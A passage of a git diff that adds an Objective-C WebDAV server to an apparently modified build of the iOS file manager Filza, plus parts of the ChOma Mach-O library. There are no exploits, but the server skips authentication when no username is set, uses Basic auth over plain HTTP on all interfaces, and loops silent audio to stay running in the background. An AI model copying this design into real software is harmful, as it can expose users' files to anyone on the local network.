"]; + NSData *body = [html dataUsingEncoding:NSUTF8StringEncoding]; + WQRespond(descriptor, 200, WQBasicHeaders(@"text/html; charset=utf-8"), + headOnly ? nil : body, (NSInteger)body.length); + return; + } + + NSDictionary *attributes = [fm attributesOfItemAtPath:path error:nil]; + unsigned long long total = [attributes[NSFileSize] unsignedLongLongValue]; + NSMutableDictionary *headers = [WQBasicHeaders(WQMimeType(path)) mutableCopy]; + headers[@"Accept-Ranges"] = @"bytes"; + + NSUInteger start = 0; + NSUInteger end = total > 0 ? (NSUInteger)(total - 1) : 0; + BOOL partial = NO; + NSString *range = request.headers[@"range"]; + if (range.length && [range hasPrefix:@"bytes="]) { + NSString *spec = [range substringFromIndex:6]; + NSArray *parts = [spec componentsSeparatedByString:@"-"]; + if (parts.count == 2 && ![spec containsString:@","]) { + NSString *startText = parts[0]; + NSString *endText = parts[1]; + if (startText.length == 0 && endText.length > 0) { + unsigned long long suffix = endText.longLongValue; + if (suffix > 0 && suffix <= total) { + start = (NSUInteger)(total - suffix); + end = (NSUInteger)(total - 1); + partial = YES; + } + } else if (startText.length > 0) { + unsigned long long first = startText.longLongValue; + unsigned long long last = endText.length > 0 + ? endText.longLongValue : total - 1; + if (first < total) { + start = (NSUInteger)first; + end = (NSUInteger)MIN(last, total - 1); + partial = YES; + } + } + } + if (partial && (start > end || start >= total)) { + headers[@"Content-Range"] = [NSString stringWithFormat: + @"bytes */%llu", total]; + WQRespond(descriptor, 416, headers, nil, 0); + return; + } + } + + NSInteger length = partial ? (NSInteger)(end - start + 1) : (NSInteger)total; + if (partial) { + headers[@"Content-Range"] = [NSString stringWithFormat: + @"bytes %lu-%lu/%llu", (unsigned long)start, + (unsigned long)end, total]; + } else { + start = 0; + length = (NSInteger)total; + } + + if (headOnly) { + WQRespond(descriptor, partial ? 206 : 200, headers, nil, length); + return; + } + + NSData *data = [NSData dataWithContentsOfFile:path + options:NSDataReadingMappedIfSafe error:nil]; + if (!data) { + WQRespond(descriptor, 500, WQBasicHeaders(@"text/plain"), + [@"Unable to read file" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + NSData *body = data; + if (partial) { + if (start + (NSUInteger)length > data.length) { + WQRespond(descriptor, 416, headers, nil, 0); + return; + } + body = [data subdataWithRange:NSMakeRange(start, (NSUInteger)length)]; + } + WQRespond(descriptor, partial ? 206 : 200, headers, body, -1); +} + +static void WQHandlePut(int descriptor, WQHTTPRequest *request, + NSString *path) +{ + if (WQFileIsDirectory(path)) { + WQRespond(descriptor, 405, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSString *parent = path.stringByDeletingLastPathComponent; + if (!WQFileIsDirectory(parent)) { + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), + [@"Parent does not exist" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + BOOL existed = [NSFileManager.defaultManager fileExistsAtPath:path]; + NSError *error = nil; + BOOL written = [request.body writeToFile:path options:NSDataWritingAtomic error:&error]; + if (!written) { + NSLog(@"[WQWebDAV] PUT failed %@: %@", path, error.localizedDescription); + WQRespond(descriptor, 507, WQBasicHeaders(@"text/plain"), + [@"Write failed" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + NSDictionary *attributes = [NSFileManager.defaultManager + attributesOfItemAtPath:path error:nil]; + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + headers[@"ETag"] = [NSString stringWithFormat:@"\"%llx-%llx\"", + [attributes[NSFileSize] unsignedLongLongValue], + (unsigned long long)[attributes[NSFileModificationDate] timeIntervalSince1970]]; + WQRespond(descriptor, existed ? 204 : 201, headers, nil, 0); +} + +static void WQHandleDelete(int descriptor, NSString *path) +{ + NSFileManager *fm = NSFileManager.defaultManager; + if (![fm fileExistsAtPath:path]) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSError *error = nil; + if (![fm removeItemAtPath:path error:&error]) { + NSLog(@"[WQWebDAV] DELETE failed %@: %@", path, error.localizedDescription); + WQRespond(descriptor, 403, WQBasicHeaders(@"text/plain"), + [@"Delete failed" dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + WQRespond(descriptor, 204, @{}, nil, 0); +} + +static void WQHandleMkcol(int descriptor, NSString *path) +{ + if ([NSFileManager.defaultManager fileExistsAtPath:path]) { + WQRespond(descriptor, 405, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSError *error = nil; + if (![NSFileManager.defaultManager createDirectoryAtPath:path + withIntermediateDirectories:NO attributes:nil error:&error]) { + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), + [error.localizedDescription dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + WQRespond(descriptor, 201, @{}, nil, 0); +} + +static void WQHandleMoveCopy(int descriptor, WQHTTPRequest *request, + NSString *source, BOOL move) +{ + NSString *destinationHeader = request.headers[@"destination"]; + if (!destinationHeader.length) { + WQRespond(descriptor, 400, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + NSString *destinationRequestPath = destinationHeader; + NSURL *url = [NSURL URLWithString:destinationHeader]; + if (url.path.length) destinationRequestPath = url.path; + NSString *destination = WQResolvePath(destinationRequestPath); + if (!destination.length || [destination isEqualToString:source]) { + WQRespond(descriptor, 403, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + if (![NSFileManager.defaultManager fileExistsAtPath:source]) { + WQRespond(descriptor, 404, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + if (!WQFileIsDirectory(destination.stringByDeletingLastPathComponent)) { + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + + BOOL destinationExists = [NSFileManager.defaultManager + fileExistsAtPath:destination]; + NSString *overwrite = request.headers[@"overwrite"] ?: @"T"; + if (destinationExists) { + if ([overwrite.uppercaseString isEqualToString:@"F"]) { + WQRespond(descriptor, 412, WQBasicHeaders(@"text/plain"), nil, 0); + return; + } + [NSFileManager.defaultManager removeItemAtPath:destination error:nil]; + } + + NSError *error = nil; + BOOL ok = move + ? [NSFileManager.defaultManager moveItemAtPath:source toPath:destination error:&error] + : [NSFileManager.defaultManager copyItemAtPath:source toPath:destination error:&error]; + if (!ok) { + NSLog(@"[WQWebDAV] %@ failed %@ -> %@: %@", move ? @"MOVE" : @"COPY", + source, destination, error.localizedDescription); + WQRespond(descriptor, 409, WQBasicHeaders(@"text/plain"), + [error.localizedDescription dataUsingEncoding:NSUTF8StringEncoding], -1); + return; + } + WQRespond(descriptor, destinationExists ? 204 : 201, @{}, nil, 0); +} + +static void WQHandleLock(int descriptor, WQHTTPRequest *request, NSString *path) +{ + NSString *token = [NSString stringWithFormat:@"opaquelocktoken:%@", + NSUUID.UUID.UUIDString]; + NSString *relative = WQRelativePath(path); + NSString *href = WQEncodeHref(relative, WQFileIsDirectory(path)); + NSString *xml = [NSString stringWithFormat: + @"" + @"" + @"" + @"infinity" + @"%@" + @"%@" + @"Second-3600" + @"", WQXMLEscape(href), + WQXMLEscape(token)]; + NSMutableDictionary *headers = [WQBasicHeaders( + @"application/xml; charset=utf-8") mutableCopy]; + headers[@"Lock-Token"] = [NSString stringWithFormat:@"<%@>", token]; + WQRespond(descriptor, 200, headers, + [xml dataUsingEncoding:NSUTF8StringEncoding], -1); +} + +static void WQHandleProppatch(int descriptor, WQHTTPRequest *request, + NSString *path) +{ + NSString *relative = WQRelativePath(path); + NSString *href = WQEncodeHref(relative, WQFileIsDirectory(path)); + NSString *xml = [NSString stringWithFormat: + @"" + @"" + @"%@" + @"HTTP/1.1 200 OK" + @"", WQXMLEscape(href)]; + WQRespond(descriptor, 207, WQBasicHeaders(@"application/xml; charset=utf-8"), + [xml dataUsingEncoding:NSUTF8StringEncoding], -1); +} + +static void WQHandleOptions(int descriptor) +{ + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + headers[@"DAV"] = @"1, 2"; + headers[@"MS-Author-Via"] = @"DAV"; + headers[@"Allow"] = @"OPTIONS, GET, HEAD, PUT, DELETE, PROPFIND, PROPPATCH, " + @"MKCOL, COPY, MOVE, LOCK, UNLOCK"; + headers[@"Content-Type"] = @"text/plain"; + WQRespond(descriptor, 200, headers, nil, 0); +} + +#pragma mark - Request loop + +static BOOL WQCheckAuthentication(WQHTTPRequest *request) +{ + if (!gUsername.length) return YES; + NSString *authorization = request.headers[@"authorization"]; + if (![authorization hasPrefix:@"Basic "]) return NO; + NSString *encoded = [authorization substringFromIndex:6]; + NSData *data = [[NSData alloc] initWithBase64EncodedString:encoded options:0]; + if (!data) return NO; + NSString *pair = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; + NSArray *parts = [pair componentsSeparatedByString:@":"]; + if (parts.count < 2) return NO; + NSString *user = [parts firstObject]; + NSString *password = [[parts subarrayWithRange:NSMakeRange(1, parts.count - 1)] + componentsJoinedByString:@":"]; + return [user isEqualToString:gUsername] && + [password isEqualToString:gPassword ?: @""]; +} + +static void WQHandleClient(int descriptor) +{ + @autoreleasepool { + struct timeval timeout = { 30, 0 }; + setsockopt(descriptor, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); + setsockopt(descriptor, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); + int noSigPipe = 1; + setsockopt(descriptor, SOL_SOCKET, SO_NOSIGPIPE, &noSigPipe, sizeof(noSigPipe)); + + WQSocketReader *reader = [[WQSocketReader alloc] initWithDescriptor:descriptor]; + NSData *headData = [reader readUntil:WQHeaderDelimiter()]; + if (!headData.length) { close(descriptor); return; } + + NSString *head = [[NSString alloc] initWithData:headData + encoding:NSUTF8StringEncoding]; + if (!head) head = [[NSString alloc] initWithData:headData + encoding:NSISOLatin1StringEncoding]; + if (!head) { close(descriptor); return; } + + NSArray *lines = [head componentsSeparatedByString:@"\r\n"]; + if (lines.count == 0) { close(descriptor); return; } + NSArray *requestLine = [lines[0] componentsSeparatedByString:@" "]; + if (requestLine.count < 2) { close(descriptor); return; } + + WQHTTPRequest *request = [WQHTTPRequest new]; + request.method = requestLine[0].uppercaseString; + request.rawPath = requestLine[1]; + request.version = requestLine.count > 2 ? requestLine[2] : @"HTTP/1.1"; + + NSMutableDictionary *headers = [NSMutableDictionary dictionary]; + for (NSUInteger index = 1; index < lines.count; index++) { + NSString *line = lines[index]; + NSRange colon = [line rangeOfString:@":"]; + if (colon.location == NSNotFound) continue; + NSString *key = [[line substringToIndex:colon.location] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet] + .lowercaseString; + NSString *value = [[line substringFromIndex:colon.location + 1] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet]; + if (key.length) headers[key] = value; + } + request.headers = headers; + + NSString *pathPart = request.rawPath; + NSRange query = [pathPart rangeOfString:@"?"]; + if (query.location != NSNotFound) pathPart = [pathPart substringToIndex:query.location]; + NSRange fragment = [pathPart rangeOfString:@"#"]; + if (fragment.location != NSNotFound) pathPart = [pathPart substringToIndex:fragment.location]; + + // Read the body only for methods that carry one; a stray huge body on + // GET would otherwise stall the connection. + if (![request.method isEqualToString:@"GET"] && + ![request.method isEqualToString:@"HEAD"] && + ![request.method isEqualToString:@"OPTIONS"] && + ![request.method isEqualToString:@"DELETE"] && + ![request.method isEqualToString:@"PROPFIND"]) { + request.body = WQReadRequestBody(reader, request) ?: [NSData data]; + } else { + request.body = [NSData data]; + } + + if (!WQCheckAuthentication(request)) { + NSMutableDictionary *authHeaders = [WQBasicHeaders(@"text/plain") mutableCopy]; + authHeaders[@"WWW-Authenticate"] = + @"Basic realm=\"FilzaSlop WebDAV\""; + WQRespond(descriptor, 401, authHeaders, + [@"Authentication required" dataUsingEncoding:NSUTF8StringEncoding], -1); + close(descriptor); + return; + } + + if ([request.method isEqualToString:@"OPTIONS"]) { + WQHandleOptions(descriptor); + close(descriptor); + return; + } + + NSString *path = WQResolvePath(pathPart); + if (!path.length) { + WQRespond(descriptor, 400, WQBasicHeaders(@"text/plain"), nil, 0); + close(descriptor); + return; + } + + NSInteger logStatus = 0; + if ([request.method isEqualToString:@"PROPFIND"]) { + WQHandlePropfind(descriptor, request, path); + } else if ([request.method isEqualToString:@"GET"]) { + WQHandleGet(descriptor, request, path, NO); + } else if ([request.method isEqualToString:@"HEAD"]) { + WQHandleGet(descriptor, request, path, YES); + } else if ([request.method isEqualToString:@"PUT"]) { + WQHandlePut(descriptor, request, path); + } else if ([request.method isEqualToString:@"DELETE"]) { + WQHandleDelete(descriptor, path); + } else if ([request.method isEqualToString:@"MKCOL"]) { + WQHandleMkcol(descriptor, path); + } else if ([request.method isEqualToString:@"MOVE"]) { + WQHandleMoveCopy(descriptor, request, path, YES); + } else if ([request.method isEqualToString:@"COPY"]) { + WQHandleMoveCopy(descriptor, request, path, NO); + } else if ([request.method isEqualToString:@"LOCK"]) { + WQHandleLock(descriptor, request, path); + } else if ([request.method isEqualToString:@"UNLOCK"]) { + WQRespond(descriptor, 204, @{}, nil, 0); + } else if ([request.method isEqualToString:@"PROPPATCH"]) { + WQHandleProppatch(descriptor, request, path); + } else { + WQRespond(descriptor, 405, WQBasicHeaders(@"text/plain"), nil, 0); + } + (void)logStatus; + close(descriptor); + } +} + +static void *WQAcceptLoop(void *context) +{ + int listener = (int)(intptr_t)context; + while (gRunning) { + int client = accept(listener, NULL, NULL); + if (client < 0) { + if (!gRunning) break; + if (errno == EINTR) continue; + if (errno == EBADF || errno == EINVAL) break; + usleep(10000); + continue; + } + dispatch_async(gConnectionQueue, ^{ + WQHandleClient(client); + }); + } + return NULL; +} + +static int WQCreateListener(int family, NSInteger port) +{ + int descriptor = socket(family, SOCK_STREAM, 0); + if (descriptor < 0) return -1; + int reuse = 1; + setsockopt(descriptor, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); + int noSigPipe = 1; + setsockopt(descriptor, SOL_SOCKET, SO_NOSIGPIPE, &noSigPipe, sizeof(noSigPipe)); + + int result = -1; + if (family == AF_INET) { + struct sockaddr_in address = {0}; + address.sin_family = AF_INET; + address.sin_port = htons((uint16_t)port); + address.sin_addr.s_addr = htonl(INADDR_ANY); + result = bind(descriptor, (struct sockaddr *)&address, sizeof(address)); + } else if (family == AF_INET6) { + int off = 0; + setsockopt(descriptor, IPPROTO_IPV6, IPV6_V6ONLY, &off, sizeof(off)); + struct sockaddr_in6 address = {0}; + address.sin6_family = AF_INET6; + address.sin6_port = htons((uint16_t)port); + address.sin6_addr = in6addr_any; + result = bind(descriptor, (struct sockaddr *)&address, sizeof(address)); + } + if (result != 0 || listen(descriptor, 32) != 0) { + close(descriptor); + return -1; + } + return descriptor; +} + +#pragma mark - Keep-alive / Bonjour + +static void WQStartKeepAlive(void) +{ + if (!gBackgroundTaskActive) { + gBackgroundTask = [UIApplication.sharedApplication + beginBackgroundTaskWithName:@"WQWebDAV" + expirationHandler:^{ + if (gBackgroundTaskActive) { + [UIApplication.sharedApplication endBackgroundTask:gBackgroundTask]; + gBackgroundTaskActive = NO; + } + }]; + gBackgroundTaskActive = gBackgroundTask != UIBackgroundTaskInvalid; + } + + id keepAliveValue = [NSUserDefaults.standardUserDefaults objectForKey:@"WQWebDAVKeepAlive"]; + if (keepAliveValue && ![keepAliveValue boolValue]) return; + if (gSilentPlayer) return; + + AVAudioSession *session = AVAudioSession.sharedInstance; + NSError *error = nil; + [session setCategory:AVAudioSessionCategoryPlayback + withOptions:AVAudioSessionCategoryOptionMixWithOthers error:&error]; + if (error) { + NSLog(@"[WQWebDAV] audio session category failed: %@", + error.localizedDescription); + return; + } + [session setActive:YES error:&error]; + if (error) { + NSLog(@"[WQWebDAV] audio session activation failed: %@", + error.localizedDescription); + return; + } + + // One second of 8 kHz/16-bit silence, looped. The audio background mode is + // already declared by Filza, so the process is not suspended while the + // WebDAV server is enabled. + const uint32_t sampleRate = 8000; + const uint32_t dataSize = sampleRate * 2; + NSMutableData *wav = [NSMutableData data]; + [wav appendBytes:"RIFF" length:4]; + uint32_t riffSize = 36 + dataSize; + [wav appendBytes:&riffSize length:4]; + [wav appendBytes:"WAVEfmt " length:8]; + uint32_t fmtSize = 16; + [wav appendBytes:&fmtSize length:4]; + uint16_t format = 1, channels = 1, blockAlign = 2, bits = 16; + uint32_t byteRate = sampleRate * blockAlign; + [wav appendBytes:&format length:2]; + [wav appendBytes:&channels length:2]; + [wav appendBytes:&sampleRate length:4]; + [wav appendBytes:&byteRate length:4]; + [wav appendBytes:&blockAlign length:2]; + [wav appendBytes:&bits length:2]; + [wav appendBytes:"data" length:4]; + [wav appendBytes:&dataSize length:4]; + [wav appendData:[NSMutableData dataWithLength:dataSize]]; + + gSilentPlayer = [[AVAudioPlayer alloc] initWithData:wav error:&error]; + if (!gSilentPlayer) { + NSLog(@"[WQWebDAV] silent player failed: %@", error.localizedDescription); + return; + } + gSilentPlayer.numberOfLoops = -1; + gSilentPlayer.volume = 0.01f; + [gSilentPlayer play]; + NSLog(@"[WQWebDAV] background keep-alive active"); +} + +static void WQStopKeepAlive(void) +{ + [gSilentPlayer stop]; + gSilentPlayer = nil; + [AVAudioSession.sharedInstance setActive:NO + withOptions:AVAudioSessionSetActiveOptionNotifyOthersOnDeactivation error:nil]; + if (gBackgroundTaskActive) { + [UIApplication.sharedApplication endBackgroundTask:gBackgroundTask]; + gBackgroundTaskActive = NO; + } +} + +static void WQStartBonjour(NSInteger port) +{ + gBonjourService = [[NSNetService alloc] initWithDomain:@"local." + type:@"_http._tcp." name:kWQServerName port:(int)port]; + gBonjourService.includesPeerToPeer = YES; + [gBonjourService publish]; +} + +#pragma mark - Lifecycle + +BOOL WQWebDAVStart(NSString **error) +{ + @synchronized (gServerLock ?: (gServerLock = [NSObject new])) { + if (WQWebDAVIsRunning()) return YES; + + NSString *root = [NSUserDefaults.standardUserDefaults stringForKey:@"WQWebDAVRoot"]; + if (!root.length) root = MCMFilzaVirtualRoot(); + root = [root stringByStandardizingPath]; + [NSFileManager.defaultManager createDirectoryAtPath:root + withIntermediateDirectories:YES attributes:nil error:nil]; + if (![NSFileManager.defaultManager fileExistsAtPath:root]) { + if (error) *error = @"WebDAV root does not exist"; + return NO; + } + gRootPath = root; + gUsername = [NSUserDefaults.standardUserDefaults stringForKey:@"WQWebDAVUser"]; + if (!gUsername.length) + gUsername = [NSUserDefaults.standardUserDefaults stringForKey:@"air-user"]; + gPassword = [NSUserDefaults.standardUserDefaults stringForKey:@"WQWebDAVPassword"]; + if (!gPassword.length) + gPassword = [NSUserDefaults.standardUserDefaults stringForKey:@"air-password"]; + + signal(SIGPIPE, SIG_IGN); + gRunning = YES; + gConnectionQueue = dispatch_queue_create( + "com.filzaslop.worsequery.webdav", DISPATCH_QUEUE_CONCURRENT); + + NSInteger port = WQWebDAVPort(); + // Two Filza builds can coexist (public + developer). Walk a small + // range so the second one still gets a working server instead of + // failing on EADDRINUSE. + BOOL bound = NO; + for (NSInteger candidate = port; candidate < port + 10; candidate++) { + gListen4 = WQCreateListener(AF_INET, candidate); + gListen6 = WQCreateListener(AF_INET6, candidate); + if (gListen4 >= 0 || gListen6 >= 0) { + port = candidate; + bound = YES; + break; + } + } + if (!bound) { + gRunning = NO; + if (error) *error = [NSString stringWithFormat: + @"Unable to bind ports %ld-%ld (errno=%d)", + (long)port, (long)(port + 9), errno]; + NSLog(@"[WQWebDAV] bind failed basePort=%ld errno=%d", (long)port, errno); + return NO; + } + gBoundPort = port; + + pthread_t thread; + if (gListen4 >= 0 && + pthread_create(&thread, NULL, WQAcceptLoop, + (void *)(intptr_t)gListen4) == 0) + pthread_detach(thread); + if (gListen6 >= 0 && + pthread_create(&thread, NULL, WQAcceptLoop, + (void *)(intptr_t)gListen6) == 0) + pthread_detach(thread); + + WQStartBonjour(port); + WQStartKeepAlive(); + NSLog(@"[WQWebDAV] started root=%@ url=%@ ipv4=%d ipv6=%d", + root, WQWebDAVURL(), gListen4 >= 0, gListen6 >= 0); + return YES; + } +} + +void WQWebDAVStop(void) +{ + @synchronized (gServerLock ?: (gServerLock = [NSObject new])) { + if (!gRunning && gListen4 < 0 && gListen6 < 0) return; + gRunning = NO; + if (gListen4 >= 0) { shutdown(gListen4, SHUT_RDWR); close(gListen4); gListen4 = -1; } + if (gListen6 >= 0) { shutdown(gListen6, SHUT_RDWR); close(gListen6); gListen6 = -1; } + [gBonjourService stop]; + gBonjourService = nil; + WQStopKeepAlive(); + gRootPath = nil; + NSLog(@"[WQWebDAV] stopped"); + } +} diff --git a/XPF/external/ChOma/include/choma b/XPF/external/ChOma/include/choma new file mode 120000 index 0000000..5cd551c --- /dev/null +++ b/XPF/external/ChOma/include/choma @@ -0,0 +1 @@ +../src \ No newline at end of file diff --git a/XPF/external/ChOma/src/Base64.c b/XPF/external/ChOma/src/Base64.c new file mode 100644 index 0000000..e10c66c --- /dev/null +++ b/XPF/external/ChOma/src/Base64.c @@ -0,0 +1,42 @@ +#include "Base64.h" + +// https://stackoverflow.com/a/6782480 +static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/'}; +static int mod_table[] = {0, 2, 1}; + + +char *base64_encode(const unsigned char *data, + size_t input_length, + size_t *output_length) { + + *output_length = 4 * ((input_length + 2) / 3); + + char *encoded_data = malloc(*output_length); + if (encoded_data == NULL) return NULL; + + for (int i = 0, j = 0; i < input_length;) { + + uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0; + uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0; + uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0; + + uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c; + + encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F]; + encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F]; + encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F]; + encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F]; + } + + for (int i = 0; i < mod_table[input_length % 3]; i++) + encoded_data[*output_length - 1 - i] = '='; + + return encoded_data; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Base64.h b/XPF/external/ChOma/src/Base64.h new file mode 100644 index 0000000..a09d3ea --- /dev/null +++ b/XPF/external/ChOma/src/Base64.h @@ -0,0 +1,11 @@ +#ifndef BASE64_H +#define BASE64_H + +#include +#include + +char *base64_encode(const unsigned char *data, + size_t input_length, + size_t *output_length); + +#endif // BASE64_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/BufferedStream.c b/XPF/external/ChOma/src/BufferedStream.c new file mode 100644 index 0000000..86f705a --- /dev/null +++ b/XPF/external/ChOma/src/BufferedStream.c @@ -0,0 +1,194 @@ +#include "BufferedStream.h" +#include "MemoryStream.h" + +#include + +static int buffered_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + +static int _buffered_stream_make_own_data(MemoryStream *stream) +{ + BufferedStreamContext *context = stream->context; + if ((stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) == 0) { + void *newBuffer = malloc(context->subBufferSize); + memcpy(newBuffer, context->buffer + context->subBufferStart, context->subBufferSize); + context->buffer = newBuffer; + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return 0; +} + +static int buffered_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf) +{ + BufferedStreamContext *context = stream->context; + if ((offset + size) > context->subBufferSize) { + printf("Error: cannot read %zx bytes at %llx, maximum is %zx.\n", size, offset, context->subBufferSize); + return -1; + } + + memcpy(outBuf, context->buffer + context->subBufferStart + offset, size); + return size; +} + +static int buffered_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf) +{ + BufferedStreamContext *context = stream->context; + + bool expandAllowed = (stream->flags & MEMORY_STREAM_FLAG_AUTO_EXPAND); + bool needsExpand = (offset + size) > context->subBufferSize; + + if (needsExpand && !expandAllowed) { + printf("Error: cannot write %zx bytes at %llx, maximum is %zx.\n", size, offset, context->subBufferSize); + return -1; + } + + if ((stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) == 0) { + int r = _buffered_stream_make_own_data(stream); + if (r != 0) return r; + } + + if (needsExpand) { + buffered_stream_expand(stream, 0, (offset + size) - context->subBufferSize); + } + + memcpy(context->buffer + context->subBufferStart + offset, inBuf, size); + return size; +} + +static int buffered_stream_get_size(MemoryStream *stream, size_t *sizeOut) +{ + BufferedStreamContext *context = stream->context; + *sizeOut = context->subBufferSize; + return 0; +} + +static uint8_t *buffered_stream_get_raw_pointer(MemoryStream *stream) +{ + BufferedStreamContext *context = stream->context; + return &context->buffer[context->subBufferStart]; +} + +static int buffered_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd) +{ + BufferedStreamContext *context = stream->context; + + // TODO: bound checks + context->subBufferStart += trimAtStart; + context->subBufferSize -= (trimAtEnd + trimAtStart); + + return 0; +} + +static int buffered_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd) +{ + BufferedStreamContext *context = stream->context; + + size_t newSize = context->subBufferSize + expandAtStart + expandAtEnd; + uint8_t *newBuffer = malloc(newSize); + memset(newBuffer, 0, newSize); + memcpy(&newBuffer[expandAtStart], &context->buffer[context->subBufferStart], context->subBufferSize); + if (stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) { + free(context->buffer); + } + context->buffer = newBuffer; + context->bufferSize = newSize; + context->subBufferStart = 0; + context->subBufferSize = newSize; + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + + return 0; +} + +static MemoryStream *buffered_stream_softclone(MemoryStream *stream) +{ + MemoryStream* clone = malloc(sizeof(MemoryStream)); + if (!clone) return NULL; + memset(clone, 0, sizeof(MemoryStream)); + + BufferedStreamContext *context = stream->context; + BufferedStreamContext *contextCopy = malloc(sizeof(BufferedStreamContext)); + + contextCopy->buffer = context->buffer; + contextCopy->bufferSize = context->bufferSize; + contextCopy->subBufferStart = context->subBufferStart; + contextCopy->subBufferSize = context->subBufferSize; + clone->flags = stream->flags & ~(MEMORY_STREAM_FLAG_OWNS_DATA); + + clone->context = contextCopy; + return clone; +} + +static MemoryStream *buffered_stream_hardclone(MemoryStream *stream) +{ + MemoryStream* clone = buffered_stream_softclone(stream); + if (clone) { + _buffered_stream_make_own_data(clone); + } + return clone; +} + +static void buffered_stream_free(MemoryStream *stream) +{ + BufferedStreamContext *context = stream->context; + if (context->buffer) { + if (stream->flags & MEMORY_STREAM_FLAG_OWNS_DATA) { + free(context->buffer); + } + } + free(context); +} + +static int _buffered_stream_init(MemoryStream *stream) +{ + stream->read = buffered_stream_read; + stream->write = buffered_stream_write; + stream->getSize = buffered_stream_get_size; + stream->getRawPtr = buffered_stream_get_raw_pointer; + + stream->trim = buffered_stream_trim; + stream->expand = buffered_stream_expand; + + stream->softclone = buffered_stream_softclone; + stream->hardclone = buffered_stream_hardclone; + stream->free = buffered_stream_free; + + stream->flags = MEMORY_STREAM_FLAG_MUTABLE; + return 0; +} + +MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags) +{ + MemoryStream *stream = malloc(sizeof(MemoryStream)); + if (!stream) return NULL; + memset(stream, 0, sizeof(MemoryStream)); + + BufferedStreamContext *context = malloc(sizeof(BufferedStreamContext)); + context->buffer = buffer; + context->bufferSize = bufferSize; + context->subBufferStart = 0; + context->subBufferSize = bufferSize; + + stream->context = context; + if (_buffered_stream_init(stream) != 0) goto fail; + + if (flags & BUFFERED_STREAM_FLAG_AUTO_EXPAND) { + stream->flags |= MEMORY_STREAM_FLAG_AUTO_EXPAND; + } + + return stream; + +fail: + buffered_stream_free(stream); + return NULL; +} + +MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags) +{ + void *copy = malloc(bufferSize); + if (!copy) return NULL; + memcpy(copy, buffer, bufferSize); + MemoryStream *stream = buffered_stream_init_from_buffer_nocopy(copy, bufferSize, flags); + if (stream) { + stream->flags |= MEMORY_STREAM_FLAG_OWNS_DATA; + } + return stream; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/BufferedStream.h b/XPF/external/ChOma/src/BufferedStream.h new file mode 100644 index 0000000..bfad1b2 --- /dev/null +++ b/XPF/external/ChOma/src/BufferedStream.h @@ -0,0 +1,19 @@ +#ifndef BUFFERED_STREAM_H +#define BUFFERED_STREAM_H + +#include "MemoryStream.h" +#include + +#define BUFFERED_STREAM_FLAG_AUTO_EXPAND (1 << 0) + +typedef struct BufferedStreamContext { + uint8_t *buffer; + size_t bufferSize; + uint32_t subBufferStart; + size_t subBufferSize; +} BufferedStreamContext; + +MemoryStream *buffered_stream_init_from_buffer_nocopy(void *buffer, size_t bufferSize, uint32_t flags); +MemoryStream *buffered_stream_init_from_buffer(void *buffer, size_t bufferSize, uint32_t flags); + +#endif // BUFFERED_STREAM_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/CSBlob.c b/XPF/external/ChOma/src/CSBlob.c new file mode 100644 index 0000000..4c298b9 --- /dev/null +++ b/XPF/external/ChOma/src/CSBlob.c @@ -0,0 +1,523 @@ +#include "CSBlob.h" + +#include "CodeDirectory.h" +#include "MachO.h" +#include "MachOByteOrder.h" +#include "BufferedStream.h" +#include "MemoryStream.h" +#include "Util.h" +#include +#include +#include + +const char 